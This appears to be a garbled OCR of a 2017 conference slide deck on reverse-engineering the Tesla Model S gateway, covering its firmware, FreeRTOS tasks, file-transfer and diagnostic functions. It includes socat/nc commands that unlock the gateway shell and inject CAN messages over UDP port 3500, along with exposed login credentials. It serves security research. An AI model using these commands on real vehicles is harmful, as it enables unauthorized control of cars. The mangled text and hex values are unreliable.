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lll ls

Lu:l_I.'i.nq hwidacg.log log
contig hwids.acq  modhwid.log

dtc hwids.txt

modinfo.log udsdebug.

+ BD 498 mkdir release ki tar xf release.tgz -C releasea/

gzip: stdin: decompresmion OK, trailing garbage lgnored
tar: Child returned statum 2
tar: Error ls not recoverable: exiting now
-+ ﬂ_ill. 1 releaga/

a1} .'lr"'h“
bmscpid. hex
chgphlepld. hex
zhgphl ., hex
chgphiepld. hex
chgphl.hex
gphicpld. hex
hgphd. hex
jsphlicpld. hex
hgsphl . hex
+ sp 4o8 JJ

chgsphZcpld.hex
chgsphl.hex
chgsphlcpld.hex
chgsphl.hex
chgsvicpld. hex
chgavi.hex
chgviopld.hex
'ﬂ'—hWi - X
op.hex

dﬂ'ﬂﬂ Jhex

dhfd.hex [gtw.hex]| pdm,hex
dhfp.hex dfd.hex pm.hex
dhrd.hex  hndfp.hex ptec.hex
dhrp.hex hndrd.hex rcem.hex
difpga.hey hndrp.hex sec,hex
di.hex le.hex sun. hex
dap.hex ift.hex the . hex

eas.hex log.cfg tpme hard cal.hex

epb.hex manifeat  tunercal.hex

epbm. hex mEm. hex tunerdsp.hex
asp.hex park.hex  tuner,hex
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Address

Start

Region Name Tesla Specifics

End

0x00000000

Bootloader
0x00020000 FLASH and
Internal Files

0x00020000

CODE Region
DATA Region

O0x001FFFFF FLASH?2

0x40000000

Updater System
0x400FFFFF SRAM when 1n
Programming Mode

Start

RO

Ernd - W X 1 s [ 1§ Wie 4

(00 20000 » : - 32 EEEEFEEF  FEFFFEFF

001 F7 ABS L C0 12  FFFFFFFF  FEEFFFFF

DOFFFFEF W | G . EEFEFFFF FEFFFFFF
) FFFFFFFF  FEFFFFEF

4000000 I W N public EC 3 FFFEFFEF  FFEFEFFS
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. Tasks
. (RBEERTIRESERS T —MES |, FreeRTOSE SR IFSEIRIFEER,
. Queues

HTHYIBEMEE,

.« CtcC.
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portBASE TYPE xTaskCreate (

pdTASK CODE pvTaskCode,

Suspended

const char * const pcName,

viaskSuspendl()
called

unsigned short usStackDepth, vTaskSuspend()

, called
volid *pvParameters, vTaskResume()

called
unsigned portBASE TYPE uxPriority,

iy &

y xTaskHandle *pvCreatedTask) ;

pvTaskCode Pointer to the task entry function.

. - - pcName A descriptive name for the task.

S| e | . usStackDepth The size of the task stack specified as the number of ”735"5';:553"“”
. cane

Blocking API

pvParameters Polnter that will be used as the parameter for the ta function called

uxPriority The priority at which the task should run.

Blocked

- pvCreatedTask Used to pass back a handle by which the created task
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. socket listen send recv sendto recvirom etc.

. fopen fread fwrite fclose etc.

- BRI MNAYIB BFHIAG

. TCP/IP stack

» File system
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. FFRFEEXIST
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#!/usr/bin/env python
import 1dautils

def flash ram memcpy(frmea, toea, count, 1temsize):

datalist 1dautils.GetDatalist (frmea, count, 1temsize)
1dautils.PutDatalist (toea, datalist, 1temsize) =

flash ram memcpy (0x10C004, 0x4004B4FO0,
(0x40065064-0x4004B4F0) /4, 4)

o dala meglion amilFl ram Hals reglan e

1 ram dAaxts ragisg nods Eam ilnts paeylosm

Ll -
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. TCP
. 23 shellim ]
. 1050  S{84EHm ]
. UDP
. 3500 1ZWhnm
—21000

38001



Shellig[ tcp:192.168.90.102:23

. HTask shellTaskflz

. FRBshell

mainTask(..)

{

xTaskCenericCreate(shellTask,

root@cid-
root@cid-
root@cid-
root@gcid-
rootgcid-
root@cid-

¥

W WA LR U R N

am

4% nC gw 23
=k

48 printf "\x12\x01"

a8
4% nc gw 23

|secat

- udp:gw:3560

“FIT 2017 | B8 X TECHE A TR



Shellim[ tcp:192.168.90.102:23

. Shell 2285
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- PXIIES

rautécidfﬂ 4# printf "\x12\x81" |socat - udp:gﬂ:EEﬂﬂ
root@cid-5 4u
root@cid-5 4# nc gw 23

? 1q3e5t7u

gw> help
1= - . Board Revision: 6
e ° Vehicle Version: 2.28.60
R A * Application 0.0
CRC: dO560e50, buildType: 1 (PLATFORM)
A . ” GIT: b862%9a206TablcB8e2a9a6b7b3c9125316d64c276
Tt Bootloader Version: 2.3.2



Shelli

7] tep:192.168.90.102:23 T FIT2017 | BX

A NA
Tegrafps
gw> tegra 115200

Tesla Motors Model 5

cid login: teslal
teslail
Password: 91172abB888115fe2

Last login: Wed Aug 31 22:44:03 PDT 2016 from 192.168.90.185 on pts/8

jetcfupdate-motd.d/00-header: 4: 1sb release: not fFound
- Linux cid 2.6.36.3-pdk25.023-Tesla-20140430 #see [fetc/commit SMP PREEMPT 12027984608 armv7l GNU/Linux

Welcome to Ubuntu!

- * Documentation: https://help.ubuntu,com/

-bash: no job control in this shell
teslagcid - SN 4 5
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. status apS>
gw> status
bus state load 1 load 5 1load 15 max 1 max 5 max 15 rxerr txerr
- DIAG awake 0% 0% 0% 0% 0% 0% ¥ 128
) BDY asleep 0% 12% 26% 0% 0% 40% 0 §
PT awake 12% B% 18% 23% 23% 31% 0 0
) BFT asleep 0% 1% 5% 0% 0% o% g 0
CH awake G % 6% 0% 5% 5% 13% 0 0
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2 tep:192.168.90.102:23

. stackinfo 4%

gw> stackinfo

: 40092000 -
: 40691000 -
40090000 -
+ 4008000 -

- 4008BeTTT

steeringWh :
LogEmptyQu

canspiffTa :

specialHan

udsClientT :
: 4008do00 -
: 4008cO000 -
. 48008bO00G -
: 4008Ba000 -
: 406890008 -

: 40088000 -
: 480087000 -
: 400B6O00
: 40085000
: 40884080
+ 480083000 -
: 40082000 -
20081880 -
: 40080000 -
: 400 7/e00Q -
: 400T7de6H -

: 4007ceo0 -

edrTask
temperatur
powerlpTas
tenHzTask
tenMsTask
lin3Task
adcTask
lin2Task
miaTask
LinlTask
RTC_rtcTas
L2cTask

componentD :

alertTask
shellTask
diagTask

xferTask

4008e000

40092FFf
40091TfTT
40090111
4O00BFTTT

4008dfff
4008cfTff
4008bfFfFf
4008afff
J0089ffFT
JO08BFFT
4O0B7fff

- 400B6TTT
- 400857ff
- 400B4TTf

40083TTT
400B21TTT
40081FFf
400807fFfF
4007TTrT
4007dfff

4007cfff

4096
4096
4096
4096

4090
096
4096

4096
2096
4896

4096
4096

4096
4096
4096

4096
20906
1096
4096
B19.Z
4096

4096

0
G
0

o R - e i i B B e R R e M R R

o
0

0

520
1064
504
296

952
360
600
712
268
456
472
424
536
440
744
456
440
904
564
1896
1784
1560

FT2017 & X
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. ETask xferTask@l|zE

mainTask(..)

|

éféskﬂenericcreatEEﬂf?FT&SHr - S )
}
. perl IAN: gwxfer

Usage: xfer [host:]|srcfile [host: |dstfile
xfer -getsize host:srcfile
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. xterTask()

XferTask READ FILE CHD;
xferTask WRITE FILE CHD w;
xferTask mv;

xferTask READ FILE OFFSET CHMD;
xferTask mkdir:

fterlfask rm;

xferTask writefile a;

d
—
—
I
—
—
| —
I
—
1]
—
I
—
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. /firmware.rc

. (M FRTFHBLL:

0x18000

root@cid-STE 1 gwxfer gw:/firmware.rc /tmp/firmware.rc

Receiving /firmware.rc...done, B2Z bytes/sec

root@cid-5SYEEE: 42 cat /tmp/firmware.rc

fileFormatVersion 1
platformType 1
platformVersion 2.28.60
gtw dos60esa

bms f7231%9dc
bmscpld 4.6.0

chgvi bcalcdcl
chgvicpld 6.15.8
chgsvl bcalcdcl
chgsvicpid 1.15.6
chgphl 89207b94
chgph2 89267b94
chgph3 BS207b94
chgphicpld 0.10.0
chgph2cpld ©.16.0
chgph3cpla ©0.10.0
chgsphl 89207b94
chgsph2 B9207b94
chgsph3 89287b%4

FIT 2017 | &% x-TEC
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» /Internal.dat root@cid- S\ENEE 4+ gwxfer gw:/internal.dat /tmp/internal.dat
receiving finternal.dat...done. 828 bytes/sec

root@cid-SE 1% cat /tmp/internal.dat
vin ST i

birthday 1356 3
chargertype dual
airsuspension 1

C {ﬁa:p\]ﬁimiﬂ: adaptivecrulse 8

Ffrontfog ©
- rearfog 1
corneringlamps 1
0x1C000 homelink @
- - - sunroof 1
- powerlift 1
“ e = audiotype premium
- : - headlamp hid
. . landeparture @
Ly blindspot ©
e e rhd @
- ' intrusiontilt ©
A s s i memoryseats 1
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12 = “internal .dac™:

: fopen() goto LABEL 23;

!
1F{ u9 = iY)

LTS = _,_1
vid = “"Internal.dat™;
ABEL 23:

1f { (un=ignea intg)muiz f=

= “FirAauare.rc;
H
else ifF ( v == “F° )
{
1 II |.
« “"Firnware.rc";

B lcEin 2T Py |
while ( 1 )

F

L

71 IRl

1f [ teinput ¥F1il
break ;

1 { Y Wi =¥ i i [
gqoto LABEL W@;

’
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. HTask diagTaskglZ

malnTask(..)
.I

xTaskCenericCreate(dilagTask, ' : By y B3

. CID &% :

- 1 FPam<ID, & 0~28 FTEEL

. Gateway R[A] :

. | FEHIID, ENFHAR



A\
1z

i [ udp:192.168.90.102:3500

. IhgeszE:

diag funcs]
diag funcs|

3
]

diag Tuncs[ ]

diag_fTuncs|
diag_funcs|
diag funcs]
dliag_funcs|
diag_funcs|
diag funcs|
dlag funcs]
dlag_funcs|
dliag_ funcs|
diag funcs|
diag funcs|
diag_funcs|
diag_funcs]|
diag funcs|

diag funcs|
diag_funcs|
diag_funcs|
diag_Tuncs|
dliag funcs|
giag_funcs|
diag_funcs|
diag_ funcs|
diag_funcs]

s baasd Loy sl

4 B B W W N

== |

REBDOT;
APP VERSION;
MONITOR _CAN;

INJECT _CAN;
BL VERSION;
REBOOT FOR_UPDATE;
RESET _TEGRA:
UPDATER _SLEEP DELAY;
SLOW VIP 405HS;
SET_DEBUG_PARAM;
CET_DEBUG_PARAM;
CLEAR_LOG;
CLUSTER_POKWER;
ENABLE_SHELL;

MCU _POWER;

FILE CRC;

HRIDACQ;

APP CRC_AND TYPE:;
HUMAN VERSION;

GIT HASH;
DRIVE_RAIL DISABLE;
PMSN;

GW BOARD REV;
DRIVE_RAIL REQUEST;
SHUTOFF_RAILS_AND REBOOT;
= RESET_SECURITY_KEY;

H N H M B
i o W B N M

i B B U O W n

FIT 2017 | &8 - TEC



. E[5gateway

SIU_SRCR = 0x80000000;
TR [A]45
. CIDA&IE :
= T 00"

Sl . BiESS - root@cid- SN 4# printf "\x00"|socat - udp:gw:3560



0x1 APP VERSION U Fm20M7 | @ T
. ¥REN APP [RA(SE k

iRk E29&k[E8] : "01 FF FF FE"

OXS BL - VERSION

. ¥kHY Bootloader fRAMEE

root@cid-SYEEE 4# printf "\x05" |socat - udp:gw:3500 |xxd -g 1
o, ; 0000000: 05 02 03 62 cvien
2 root@cid- S « ¢
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. BBffTeateway

REBOOT _FOR_UPDATE( fd, addrinfo *addr_info, len, * input_buffer)
{
&E;EV{input_huffer 1, )
STU_SRCR =
.“J
. CID &IX :
00000000 08 6e of 62 6f 6f 74 2e 69 6d 67 |.noboot.img|

0000000b
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. EBFCID '

. CID A1 :
. "09 00": 8B epio=0 , IEFEEFCID

. "09 01": IZEgpio=1 , BANKERT



OxE CLEAR LOG FIT2017 | &)
. Bk '
. HCIDEEDSSEAFRR AV B :
00000000 Oe 31 41 59 26 .1AY&|
00000005

1. 15 OxA FINBAG!

2. HTask logEmptyQueueTask M\iZBAFIENZIHEOXART , 1GHHERLA T3 -
/log/0.log. /log/1.log. /log/2.log. /log/3.log. /log/4.log
/log/offsets.txt
/log/offsets.new

3. BBf5



0x12 ENABLE SHELL . Fm2017 | @

. E£30sHFHFshellzazH
CID &% :
"12 01" :

. shellTaskYTE &
. timer check(&g shell timer, 30000)

1f { *timer _check check{&shell Cimer, 30000u) )
3
i1F { tiny walt timer )
1
while { timer_check check{Rtinyg wait _cimer, S000u) == 0 )
viaskDelagp{1000) ;

’

send{fd, "7 ", 2);

if { shell reculfd, Wik, 70w, @) >= @ )
{
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0x04 INJECT CAN
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0x04 INJECT_CAN: J{eJH/555#8 ? © FT2017 | @)

struct Diag CAN Msg ({
CHAR ; // INJECT CAN==0x04
CHAR ; // CAN Channel ID, {0-6}
WORD can id; // CAN Msg ID
DWORD msgl; // Messages

DWORD msg2; };

#!'/bin/sh

printf " \x02\x48\x04\x00\x00\x04\x00\xFF\xFF\x00" | socat - udp:gw:3500



gw>
S

Revision: 6

ehicls Varsien: 2.28.60

pplicatisn 0.0

RC: d0360es30, buildType: i (FLATFORM)
GIT: bB623n206fablcBelal?asbibicd125316d64c270

fnotloader Verslon: 2.3.2

help - help

? - help

ixit - exit

repboot - reboit

free - display f{ree mamory

uptime - systam uptime

1s = list directory contents [dir])
rm = ramove files or dirs <fiame> [hamg...]
mv - rengme files or dirs <from> <to>
4t - display £ile contents <fila>

ep — copy fFile <from> <go>

mkdit - ¢reate dlr <dir>
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. |C/CIDimiRzESFI
. CANBus/UDSZ &R
- ZFEECUE MR TFE

- ECURIGEFHLHI DT

. efc.



RN\ 5236 % |
snie(@tencent.com

dlingliu@tencent.com

FIT2017 | 88 X TECHERiRR



FIT 2017 | &8 1

Thanks



